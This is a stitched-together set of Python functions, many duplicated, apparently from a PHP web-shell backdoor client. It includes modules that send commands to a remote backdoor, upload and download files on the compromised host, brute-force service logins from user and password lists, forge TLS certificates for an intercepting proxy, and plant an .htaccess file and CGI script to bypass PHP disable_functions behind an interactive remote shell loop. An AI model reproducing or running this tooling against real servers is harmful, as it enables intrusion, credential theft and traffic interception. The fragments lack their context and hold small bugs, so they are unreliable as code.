def send(self, payload): response = b'' code = 200 error = '' human_error = '' try: response = self.channel_loaded.send( payload, self._additional_handlers() ) except socks.ProxyError as e: if e.socket_err and e.socket_err.errno: code = e.socket_err.errno if e.msg: error = str(e.msg) human_error = messages.module_shell_php.error_proxy except HTTPError as e: if e.code: code = e.code if e.reason: error = str(e.reason) if code == 404: human_error = messages.module_shell_php.error_404_remote_backdoor elif code == 500: human_error = messages.module_shell_php.error_500_executing elif code != 200: human_error = messages.module_shell_php.error_i_executing % code except URLError as e: code = 0 if e.reason: error = str(e.reason) human_error = messages.module_shell_php.error_URLError_network if response: dlog.info('RESPONSE: %s' % repr(response)) else: response = b'' command_last_chars = utils.prettify.shorten( payload.rstrip(), keep_trailer = 10 ) if ( command_last_chars and command_last_chars[-1] not in ( ';', '}' ) ): log.warning(messages.module_shell_php.missing_php_trailer_s % command_last_chars) if error or human_error: log.debug('[ERR] %s [%s]' % (error, code)) log.warning(human_error) return response, code, error
def __init__(self, dbpath, volatile=False): try: with open(dbpath, 'r') as dbfile: sessiondb = yaml.safe_load(dbfile.read()) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (dbpath, str(e))) raise FatalException(messages.sessions.error_loading_sessions) if sessiondb and isinstance(sessiondb, dict): saved_url = sessiondb.get('url') saved_password = sessiondb.get('password') if saved_url and saved_password: if not volatile: # Register dump at exit and return atexit.register(self._session_save_atexit) self.load_session(sessiondb) return log.warning(messages.generic.error_loading_file_s_s % (dbpath, 'no url or password')) raise FatalException(messages.sessions.error_loading_sessions)
def run(self): # When no folder is specified, change folder to SCRIPT_NAME to # simulate the bash behaviour. If not available, use current dir. if not self.args.get('dir'): script_folder = ModuleExec( 'system_info', [ '-info', 'script_folder' ] ).load_result_or_run( result_name = 'script_folder' ) self.args['dir'] = script_folder if script_folder else '.' # The execution and result storage is done manually cause # no result has to be stored if the execution fails. This # is not simple to implement using # self.vectors.get_result(.., store_result). folder = PhpCode("""@chdir('${dir}')&&print(@getcwd());""", "chdir").run( self.args ) if folder: self._store_result('cwd', folder) else: log.warning( messages.module_file_cd.failed_directory_change_to_s % (self.args['dir']) )
def set(self, alias, code): """User-called function which sets an alias""" if not alias.isalpha(): log.warning('"{}" is not a valid alias name. Use only letters.'.format(alias)) return self.aliases[alias] = code
def run(self): self.args['users'] = self.args.get('users', []) if self.args.get('fusers'): try: self.args['users'] += open(self.args['fusers'], 'r').read().split(os.linesep) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (self.args['fusers'], str(e))) return self.args['pwds'] = self.args.get('pwds', []) if self.args.get('fpwds'): try: self.args['pwds'] += open(self.args['fpwds'], 'r').read().split(os.linesep) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (self.args['fpwds'], str(e))) return if not self.args['users'] or not self.args['pwds']: log.error('Error, no users or passwords loaded') return return self.vectors.get_result( name = self.args['service'], format_args = self.args )
def run(self): paths = [] lpath = self.args.get('lpath_list') if lpath: try: with open(lpath, 'r') as lfile: paths = lfile.read().split('\n') except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return paths += self.args.get('paths') if self.args.get('paths') else [] results = {} for path in paths: result = ModuleExec("file_check", [path, "perms"]).run() if result or self.args.get('print'): results[path] = result return results
def run(self): self.args['users'] = self.args.get('users', []) if self.args.get('fusers'): try: self.args['users'] += open(self.args['fusers'], 'r').read().split(os.linesep) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (self.args['fusers'], str(e))) return self.args['pwds'] = self.args.get('pwds', []) if self.args.get('fpwds'): try: self.args['pwds'] += open(self.args['fpwds'], 'r').read().split(os.linesep) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (self.args['fpwds'], str(e))) return if not self.args['users'] or not self.args['pwds']: log.error('Error, no users or passwords loaded') return return self.vectors.get_result(name=self.args['service'], format_args=self.args)
def unset(self, module_argument): """Called by user to unset the session variables""" # If action_<module_argument> function exists, trigger the action # passing None action_name = 'action_%s' % (module_argument.replace('.', '_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, None) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warning(messages.sessions.error_session_s_not_modified % ('%s.%s' % (module_name, arg_name))) else: del self[module_name]['stored_args'][arg_name] log.info(messages.sessions.unset_module_s_s % (module_name, arg_name)) else: module_name = module_argument if module_name not in self and module_name not in set_filters: log.warning(messages.sessions.error_session_s_not_modified % (module_name)) else: self[module_name] = None log.info(messages.sessions.unset_s % (module_name))
def _clean(self, htaccess_absolute_path, script_absolute_path): log.warning('Deleting %s and %s' % (htaccess_absolute_path, script_absolute_path)) self.vectors.get_result('remove', format_args={'path': htaccess_absolute_path}) self.vectors.get_result('remove', format_args={'path': script_absolute_path})
def print_to_user(self, name=None): if name is None: for alias, code in self.aliases.items(): print('{} = {}'.format(alias, code)) else: code = self.get(name) if code is None: log.warning('alias {} does not exist.'.format(name)) else: print('alias {} = {}'.format(name, code))
def do_unset(self, line, cmd): """Command "unset" to unset session variables.""" # Print all settings that startswith args[0] if not line: log.warning(messages.terminal.unset_usage) # Set the setting else: self.session.unset(line)
def run(self, args): chdir = '' if args['dir'] == '.' else "@chdir('%s')&&" % args['dir'] folder = PhpCode("""${chdir}print(@getcwd());""", "chdir").run({'chdir': chdir}) if folder: # Store cwd used by other modules self._store_result('cwd', folder) else: log.warning(messages.module_file_cd.failed_directory_change_to_s % (args['dir']))
def run(self, args): chdir = '' if args['dir'] == '.' else "@chdir('%s')&&" % args['dir'] folder = PhpCode("""${chdir}print(@getcwd());""", "chdir").run({ 'chdir' : chdir }) if folder: # Store cwd used by other modules self._store_result('cwd', folder) else: log.warning( messages.module_file_cd.failed_directory_change_to_s % (args['dir']))
def run(self): headers = [] saved = None self._encode() vector_name, result = self.vectors.find_first_result( names = [ self.args.get('vector') ], format_args = self.args, condition = lambda r: r if r and r.strip() else None ) # Print error and exit with no response or no headers if not (vector_name and result): log.warn(messages.module_net_curl.unexpected_response) return None, headers, saved elif not '\r\n'*2 in result: # If something is returned but there is \r\n*2, we consider # everything as header. It happen with responses 204 No contents # that end with \r\n\r (wtf). headers = result result = '' else: headers, result = result.split('\r\n'*2, 1) headers = ( [ h.rstrip() for h in headers.split('\r\n') ] if '\r\n' in headers else headers ) output_path = self.args.get('output') if output_path: # If response must be saved, it's anyway safer to save it # within additional requests if not self.args.get('local'): saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run() else: try: open(output_path, 'wb').write(result) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (output_path, str(e))) saved = False else: saved = True return result, headers, saved
def run(self): paths = [] lpath = self.args.get('lpath_list') if lpath: try: paths = open(lpath, 'r').read().split('\n') except Exception, e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def run(self, args): paths = [] lpath = args.get('lpath_list') if lpath: try: paths = open(lpath, 'r').read().split('\n') except Exception, e: log.warning( messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def run(self): # The correct execution returns something only on errors result_err = self.vectors.get_result( name='php_bzip2', format_args=self.args, ) if result_err: log.warning(result_err) return return True
def run(self): headers = [] saved = None vector_name, result = self.vectors.find_first_result( names = [ self.args.get('vector') ], format_args = self.args, condition = lambda r: r if r and r.strip() else None ) # Print error and exit with no response or no headers if not (vector_name and result): log.warn(messages.module_net_curl.unexpected_response) return None, headers, saved elif not '\r\n'*2 in result: # If something is returned but there is \r\n*2, we consider # everything as header. It happen with responses 204 No contents # that end with \r\n\r (wtf). headers = result result = '' else: headers, result = result.split('\r\n'*2, 1) headers = ( [ h.rstrip() for h in headers.split('\r\n') ] if '\r\n' in headers else headers ) output_path = self.args.get('output') if output_path: # If response must be saved, it's anyway safer to save it # within additional requests if not self.args.get('local'): saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run() else: try: open(output_path, 'wb').write(result) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (output_path, str(e))) saved = False else: saved = True return result, headers, saved
def run(self, args): # Load local file content_orig = args.get('content') if not content_orig: lpath = args.get('lpath') try: content_orig = open(lpath, 'r').read() except Exception, e: log.warning( messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def connect_intercept(self): hostname = self.path.split(':')[0] certname = "%s.crt" % (hostname) certpath = os.path.join(self.certdir, certname) if not (re_valid_ip.match(hostname) or re_valid_hostname.match(hostname)): log.warning("CN name '%s' is not valid, using 'www.weevely.com'" % (hostname)) hostname = 'www.weevely.com' with self.lock: if not os.path.isfile(certpath): epoch = "%d" % (time.time() * 1000) p1 = Popen([ "openssl", "req", "-new", "-key", self.certkey, "-subj", "/CN=%s" % hostname ], stdout=PIPE) p2 = Popen([ "openssl", "x509", "-req", "-days", "3650", "-CA", self.cacert, "-CAkey", self.cakey, "-set_serial", epoch, "-out", certpath ], stdin=p1.stdout, stderr=PIPE) p2.communicate() self.send_response_only(200, 'Connection Established') self.end_headers() try: self.connection = ssl.wrap_socket(self.connection, keyfile=self.certkey, certfile=certpath, server_side=True) self.rfile = self.connection.makefile("rb", self.rbufsize) self.wfile = self.connection.makefile("wb", self.wbufsize) except Exception as e: log.debug(e) raise conntype = self.headers.get('Proxy-Connection', '') if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close': self.close_connection = 0 else: self.close_connection = 1
def do_set(self, line, cmd): """Command "set" to set session variables.""" try: args = shlex.split(line) except Exception as e: import traceback log.debug(traceback.format_exc()) log.warning(messages.generic.error_parsing_command_s % str(e)) # Set the setting else: if len(args) < 2: log.warning(messages.terminal.set_usage) elif len(args) >= 2: args[1] = ' '.join(args[1:]) self.session.set(args[0], args[1])
def run(self): # Load local file content_orig = self.args.get('content') if content_orig == None: lpath = self.args.get('lpath') if not lpath: log.warning(messages.module_file_upload.error_content_lpath_required) return try: content_orig = open(lpath, 'r').read() except Exception, e: log.warning( messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def run(self): content_orig = self.args.get('content') if content_orig == None: # Load local file lpath = self.args.get('lpath') if not lpath: log.warning( messages.module_file_upload.error_content_lpath_required) return try: with open(lpath, 'rb') as contentfile: content_orig = contentfile.read() except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return else: content_orig = content_orig.encode('utf-8') self.args['content'] = base64.b64encode(content_orig).decode('utf-8') # Check remote file existence if not self.args['force'] and ModuleExec( 'file_check', [self.args['rpath'], 'exists']).run(): log.warning(messages.generic.error_file_s_already_exists % self.args['rpath']) return vector_name, result = self.vectors.find_first_result( format_args=self.args, condition=lambda result: True if result == '1' else False) if not ModuleExec('file_check', [self.args['rpath'], 'exists']).run(): log.warning(messages.module_file_upload.failed_upload_file) return if not (ModuleExec('file_check', [self.args['rpath'], 'md5']).run() == hashlib.md5(content_orig).hexdigest()): log.warning(messages.module_file_upload.failed_md5_check) return return True
def run(self): # Load local file content_orig = self.args.get('content') if content_orig == None: lpath = self.args.get('lpath') if not lpath: log.warning( messages.module_file_upload.error_content_lpath_required) return try: content_orig = open(lpath, 'r').read() except Exception, e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def do_alias(self, line, cmd): """Handles :alias functions""" try: args = shlex.split(line) except Exception as e: import traceback log.debug(traceback.format_exc()) log.warning(messages.generic.error_parsing_command_s % str(e)) else: argc = len(args) if argc == 0: self.user_aliases.print_to_user() elif argc == 1: self.user_aliases.print_to_user(args[0]) elif argc >= 2: self.user_aliases.set(args[0], ' '.join(args[1:])) else: log.warning(':alias usage')
def run(self): # Terminate if shell_sh is active if self.session['shell_sh']['status'] == Status.RUN: log.warning(messages.module_audit_disablefunctionbypass.error_sh_commands_enabled) return # Install if -just-run option hasn't been provided, else directly check the backdoor script_url = self.args.get('just_run') if not script_url: script_url = self._install() if not script_url: return elif not self._check_response(script_url): log.warning(messages.module_audit_disablefunctionbypass.error_s_unexpected_output % (script_url)) return log.warning(messages.module_audit_disablefunctionbypass.requests_not_obfuscated) # Console loop while True: query = raw_input('CGI shell replacement $ ').strip() if not query: continue if query == 'quit': break log.info(http.request('%s?c=%s' % (script_url, query)))
def run(self): # Terminate if shell_sh is active if self.session['shell_sh']['status'] == Status.RUN: log.warning(messages.module_audit_disablefunctionbypass. error_sh_commands_enabled) return # Install if -just-run option hasn't been provided, else directly check the backdoor script_url = self.args.get('just_run') if not script_url: script_url = self._install() if not script_url: return elif not self._check_response(script_url): log.warning(messages.module_audit_disablefunctionbypass. error_s_unexpected_output % (script_url)) return log.warning(messages.module_audit_disablefunctionbypass. requests_not_obfuscated) # Console loop while True: query = raw_input('CGI shell replacement $ ').strip() if not query: continue if query == 'quit': break log.info(http.request('%s?c=%s' % (script_url, query)))
def run(self): # Check remote file existance if not ModuleExec('file_check', [self.args.get('rpath'), 'readable']).run(): log.warn(messages.module_file_download.failed_download_file) return # Get the remote file MD5. If this is not available, still do a basic check # to see if the output is decodable as base64 string. expected_md5 = ModuleExec('file_check', [self.args.get('rpath'), 'md5']).run() if expected_md5: check_md5 = lambda r: hashlib.md5(base64.b64decode(r)).hexdigest( ) == expected_md5 else: log.debug(messages.module_file_download.skipping_md5_check) check_md5 = lambda r: bool(base64.b64decode(r)) # Find the first vector that satisfy the md5 check vector_name, result = self.vectors.find_first_result( format_args=self.args, condition=check_md5) # Check if find_first_result failed if not vector_name: log.warn(messages.module_file_download.failed_download_file) return # Dump to local file lpath = self.args.get('lpath') try: result_decoded = base64.b64decode(result) open(lpath, 'wb').write(result_decoded) except Exception, e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def run(self): # Check remote file existance if not ModuleExec('file_check', [ self.args.get('rpath'), 'readable' ]).run(): log.warn(messages.module_file_download.failed_download_file) return # Get the remote file MD5. If this is not available, still do a basic check # to see if the output is decodable as base64 string. expected_md5 = ModuleExec('file_check', [ self.args.get('rpath'), 'md5' ]).run() if expected_md5: check_md5 = lambda r: hashlib.md5(base64.b64decode(r)).hexdigest() == expected_md5 else: log.debug(messages.module_file_download.skipping_md5_check) check_md5 = lambda r: bool(base64.b64decode(r)) # Find the first vector that satisfy the md5 check vector_name, result = self.vectors.find_first_result( format_args = self.args, condition = check_md5 ) # Check if find_first_result failed if not vector_name: log.warn(messages.module_file_download.failed_download_file) return # Dump to local file lpath = self.args.get('lpath') try: result_decoded = base64.b64decode(result) open(lpath, 'wb').write(result_decoded) except Exception, e: log.warning( messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def set(self, module_argument, value): """Called by user to set or show the session variables""" # I safely evaluate the value type to avoid to save only # strings type. Dirty but effective. # TODO: the actual type of the argument could be acquired # from modules[module].argparser. try: value = ast.literal_eval(value) except Exception as e: # If is not evalued, just keep it as string pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.', '_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') # Should be OK to set whethever variable we want # and which will eventually be used by a module. self[module_name]['stored_args'][arg_name] = value log.info(messages.sessions.set_module_s_s_s % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self and module_name not in set_filters: log.warning(messages.sessions.error_session_s_not_modified % (module_name)) else: self[module_name] = value log.info(messages.sessions.set_s_s % (module_name, value))
def run(self): log.warning(messages.module_net_proxy.proxy_starting_s_i % (self.args['lhost'], self.args['lport'])) log.warning(messages.module_net_proxy.proxy_set_proxy) initialize_certificates() if self.args['no_background']: log.warning(messages.module_net_proxy.proxy_started_foreground) run_proxy2(hostname=self.args['lhost'], port=self.args['lport']) else: log.warning(messages.module_net_proxy.proxy_started_background) server_thread = threading.Thread(target=run_proxy2, kwargs={ 'hostname': self.args['lhost'], 'port': self.args['lport'] }) server_thread.daemon = True server_thread.start()
def unset(self, alias): """User-called function which removes an alias""" if alias not in self.aliases: log.warning('alias {} does not exist.'.format(name)) self.aliases.pop(alias)
class Upload(Module): """Upload file to remote filesystem.""" def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) self.register_vectors([ PhpCode( "(file_put_contents('${rpath}',base64_decode('${content}'))&&print(1))||print(0);", name='file_put_contents'), PhpCode( """($h=fopen("${rpath}","a+")&&fwrite($h,base64_decode('${content}'))&&fclose($h)&&print(1))||print(0);""", name="fwrite") ]) self.register_arguments([{ 'name': 'lpath', 'help': 'Local file path', 'nargs': '?' }, { 'name': 'rpath', 'help': 'Remote file path' }, { 'name': '-force', 'help': 'Force overwrite', 'action': 'store_true', 'default': False }, { 'name': '-content', 'help': 'Optionally specify the file content' }, { 'name': '-vector', 'choices': self.vectors.get_names(), 'default': 'file_put_contents' }]) def run(self): # Load local file content_orig = self.args.get('content') if content_orig == None: lpath = self.args.get('lpath') if not lpath: log.warning( messages.module_file_upload.error_content_lpath_required) return try: content_orig = open(lpath, 'r').read() except Exception, e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return self.args['content'] = base64.b64encode(content_orig) # Check remote file existence if not self.args['force'] and ModuleExec( 'file_check', [self.args['rpath'], 'exists']).run(): log.warning(messages.generic.error_file_s_already_exists % self.args['rpath']) return vector_name, result = self.vectors.find_first_result( format_args=self.args, condition=lambda result: True if result == '1' else False) if not ModuleExec('file_check', [self.args['rpath'], 'exists']).run(): log.warning(messages.module_file_upload.failed_upload_file) return if not (ModuleExec('file_check', [self.args['rpath'], 'md5']).run() == hashlib.md5(content_orig).hexdigest()): log.warning(messages.module_file_upload.failed_md5_check) return return True
def run(self): files = [] if ModuleExec("file_check", [self.args["rpath"], "dir"]).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = ["-readable", self.args["rpath"], "-ftype", "f"] if self.args.get("name_regex"): file_find_args += ["-name-regex", self.args.get("name_regex")] if self.args.get("no_recursion"): file_find_args += ["-no-recursion"] files = ModuleExec("file_find", file_find_args).run() elif ( ModuleExec("file_check", [self.args["rpath"], "file"]).run() and ModuleExec("file_check", [self.args["rpath"], "readable"]).run() ): # If the remote path is a readable file, just store the path files = [self.args["rpath"]] # Validate files presence if not isinstance(files, list) or not files: log.warn(messages.module_file_grep.failed_retrieve_info) return None, False # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` # and store them as string whether requested results = {} output_str = "" output_path = self.args.get("output") for rfile in files: result_str = self.vectors.get_result( self.args["vector"], {"regex": self.args["regex"], "rfile": rfile, "case": self.args["case"], "invert": self.args["invert"]}, ) # Both grep_sh and grep_php -v trail a \n, this should work fine result_str = result_str[:-1] if result_str and result_str.endswith("\n") else result_str result_list = result_str.split("\n") if isinstance(result_str, str) and result_str else [] # This means the command returned something something if result_list: if output_path: # If output is redirected, just append to output_str output_str += result_str else: # Else, print it out if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info("%s:%s" % (rfile, line)) else: # Else, just print the lines log.info("\n".join(result_list)) results[rfile] = result_list # Save output to file whether specified saved = False if output_path: if not self.args.get("local"): saved = ModuleExec("file_upload", ["-content", result_str, output_path]).run() else: try: open(output_path, "wb").write(result_str) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (output_path, str(e))) else: saved = True return results, saved
def run(self): files = [] if ModuleExec("file_check", [self.args['rpath'], 'dir']).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = ['-readable', self.args['rpath'], '-ftype', 'f'] if self.args.get('name_regex'): file_find_args += ['-name-regex', self.args.get('name_regex')] if self.args.get('no_recursion'): file_find_args += ['-no-recursion'] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [self.args['rpath'], 'file']).run() and ModuleExec("file_check", [self.args['rpath'], 'readable']).run()): # If the remote path is a readable file, just store the path files = [self.args['rpath']] # Validate files presence if not isinstance(files, list) or not files: log.warning(messages.module_file_grep.failed_retrieve_info) return None, False # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` # and store them as string whether requested results = {} output_str = '' output_path = self.args.get('output') for rfile in files: result_str = self.vectors.get_result( self.args['vector'], { 'regex': self.args['regex'], 'rfile': rfile, 'case': self.args['case'], 'invert': self.args['invert'] }) # Both grep_sh and grep_php -v trail a \n, this should work fine result_str = result_str[:-1] if result_str and result_str.endswith( '\n') else result_str result_list = result_str.split('\n') if isinstance( result_str, str) and result_str else [] # This means the command returned something something if result_list: if output_path: # If output is redirected, just append to output_str output_str += result_str else: # Else, print it out if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % (rfile, line)) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list # Save output to file whether specified saved = False if output_path: if not self.args.get('local'): saved = ModuleExec( 'file_upload', ['-content', result_str, output_path]).run() else: try: with open(output_path, 'wb') as outputfile: outputfile.write(result_str.encode('utf-8')) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (output_path, str(e))) else: saved = True return results, saved
def _clean(self, htaccess_absolute_path, script_absolute_path): log.warning('Deleting %s and %s' % (htaccess_absolute_path, script_absolute_path)) self.vectors.get_result('remove', format_args = { 'path': htaccess_absolute_path }) self.vectors.get_result('remove', format_args = { 'path': script_absolute_path })
def _install(self): if not self.vectors.get_result('mod_cgi'): log.warning(messages.module_audit_disablefunctionbypass. error_mod_cgi_disabled) return filename = strings.randstr(5, charset=string.ascii_lowercase) ext = strings.randstr(3, charset=string.ascii_lowercase) result_install_htaccess = self.vectors.get_result( 'install_htaccess', format_args={'extension': ext}) if (not result_install_htaccess or not result_install_htaccess[0][0] or not result_install_htaccess[0][1]): log.warning(messages.module_audit_disablefunctionbypass. error_installing_htaccess) return htaccess_absolute_path = result_install_htaccess[0][0] script_absolute_path = '%s.%s' % (htaccess_absolute_path.replace( '.htaccess', filename), ext) script_url = '%s.%s' % (result_install_htaccess[0][1].replace( '.htaccess', filename), ext) result_install_script = self.vectors.get_result( 'install_script', format_args={ 'script': self.args.get('script'), 'rpath': script_absolute_path }) if not result_install_script: log.warning(messages.module_audit_disablefunctionbypass. error_uploading_script_to_s % script_absolute_path) self._clean(htaccess_absolute_path, script_absolute_path) return result_chmod = self.vectors.get_result( 'chmod', format_args={'rpath': script_absolute_path}) if not result_chmod: log.warning(messages.module_audit_disablefunctionbypass. error_changing_s_mode % script_absolute_path) self._clean(htaccess_absolute_path, script_absolute_path) return if not self._check_response(script_url): log.warning(messages.module_audit_disablefunctionbypass. error_s_unexpected_output % (script_url)) self._clean(htaccess_absolute_path, script_absolute_path) return log.warning(messages.module_audit_disablefunctionbypass. cgi_installed_remove_s_s % (htaccess_absolute_path, script_absolute_path)) log.warning( messages.module_audit_disablefunctionbypass.run_s_skip_reinstalling % (script_url)) return script_url
def __init__(self, url, password, volatile=False): if not os.path.isdir(sessions_path): os.makedirs(sessions_path) # Guess a generic hostfolder/dbname hostname = urllib.parse.urlparse(url).hostname if not hostname: raise FatalException(messages.generic.error_url_format) hostfolder = os.path.join(sessions_path, hostname) dbname = os.path.splitext( os.path.basename(urllib.parse.urlsplit(url).path))[0] # Check if session already exists sessions_available = glob.glob( os.path.join(hostfolder, '*%s' % sessions_ext)) for dbpath in sessions_available: try: with open(dbpath, 'r') as dbfile: sessiondb = yaml.safe_load(dbfile.read()) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (dbpath, str(e))) if sessiondb and isinstance(sessiondb, dict): saved_url = sessiondb.get('url') saved_password = sessiondb.get('password') if not saved_url or not saved_password: log.warning(messages.generic.error_loading_file_s_s % (dbpath, 'no url or password')) if saved_url == url and saved_password == password: # Found correspondent session file. # Register dump at exit and return if not volatile: atexit.register(self._session_save_atexit) self.load_session(sessiondb) return # If no session was found, create a new one with first available filename index = 0 while True: dbpath = os.path.join(hostfolder, '%s_%i%s' % (dbname, index, sessions_ext)) if not os.path.isdir(hostfolder): os.makedirs(hostfolder) if not os.path.exists(dbpath): sessiondb = {} sessiondb.update({ 'path': dbpath, 'url': url, 'password': password, 'debug': False, 'channel': None, 'default_shell': None, }) # Register dump at exit and return if not volatile: atexit.register(self._session_save_atexit) self.load_session(sessiondb) return else: index += 1 raise FatalException(messages.sessions.error_loading_sessions)
def _install(self): if not self.vectors.get_result('mod_cgi'): log.warning(messages.module_audit_disablefunctionbypass.error_mod_cgi_disabled) return filename = strings.randstr(5, charset = string.ascii_lowercase) ext = strings.randstr(3, charset = string.ascii_lowercase) result_install_htaccess = self.vectors.get_result( 'install_htaccess', format_args = { 'extension': ext } ) if ( not result_install_htaccess or not result_install_htaccess[0][0] or not result_install_htaccess[0][1] ): log.warning(messages.module_audit_disablefunctionbypass.error_installing_htaccess) return htaccess_absolute_path = result_install_htaccess[0][0] script_absolute_path = '%s.%s' % (htaccess_absolute_path.replace('.htaccess',filename), ext) script_url = '%s.%s' % ( result_install_htaccess[0][1].replace('.htaccess',filename), ext ) result_install_script = self.vectors.get_result( 'install_script', format_args = { 'script' : self.args.get('script'), 'rpath': script_absolute_path } ) if not result_install_script: log.warning(messages.module_audit_disablefunctionbypass.error_uploading_script_to_s % script_absolute_path) self._clean(htaccess_absolute_path, script_absolute_path) return result_chmod = self.vectors.get_result( 'chmod', format_args = { 'rpath': script_absolute_path } ) if not result_chmod: log.warning(messages.module_audit_disablefunctionbypass.error_changing_s_mode % script_absolute_path) self._clean(htaccess_absolute_path, script_absolute_path) return if not self._check_response(script_url): log.warning(messages.module_audit_disablefunctionbypass.error_s_unexpected_output % (script_url)) self._clean(htaccess_absolute_path, script_absolute_path) return log.warning(messages.module_audit_disablefunctionbypass.cgi_installed_remove_s_s % (htaccess_absolute_path, script_absolute_path)) log.warning(messages.module_audit_disablefunctionbypass.run_s_skip_reinstalling % (script_url)) return script_url
def run(self): files = [] if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = [ '-readable', self.args['rpath'] ] if self.args.get('name_regex'): file_find_args += [ '-name-regex', self.args.get('name_regex') ] if self.args.get('no_recursion'): file_find_args += [ '-no-recursion' ] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [ self.args['rpath'], 'file' ]).run() and ModuleExec("file_check", [ self.args['rpath'], 'readable' ]).run()): # If the remote path is a readable file, just store the path files = [ self.args['rpath'] ] # Validate files presence if not isinstance(files, list) or not files: log.warn(messages.module_file_grep.failed_retrieve_info) return None, False # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` # and store them as string whether requested results = {} output_str = '' output_path = self.args.get('output') for rfile in files: result_str = self.vectors.get_result( self.args['vector'], { 'regex' : self.args['regex'], 'rfile' : rfile, 'case' : self.args['case'], 'invert' : self.args['invert'] } ) # Both grep_sh and grep_php -v trail a \n, this should work fine result_str = result_str[:-1] if result_str and result_str.endswith('\n') else result_str result_list = result_str.split('\n') if isinstance(result_str, str) and result_str else [] # This means the command returned something something if result_list: if output_path: # If output is redirected, just append to output_str output_str += result_str else: # Else, print it out if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % ( rfile, line )) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list # Save output to file whether specified saved = False if output_path: if not self.args.get('local'): saved = ModuleExec('file_upload', [ '-content', result_str, output_path ]).run() else: try: open(output_path, 'wb').write(result_str) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (output_path, str(e))) else: saved = True return results, saved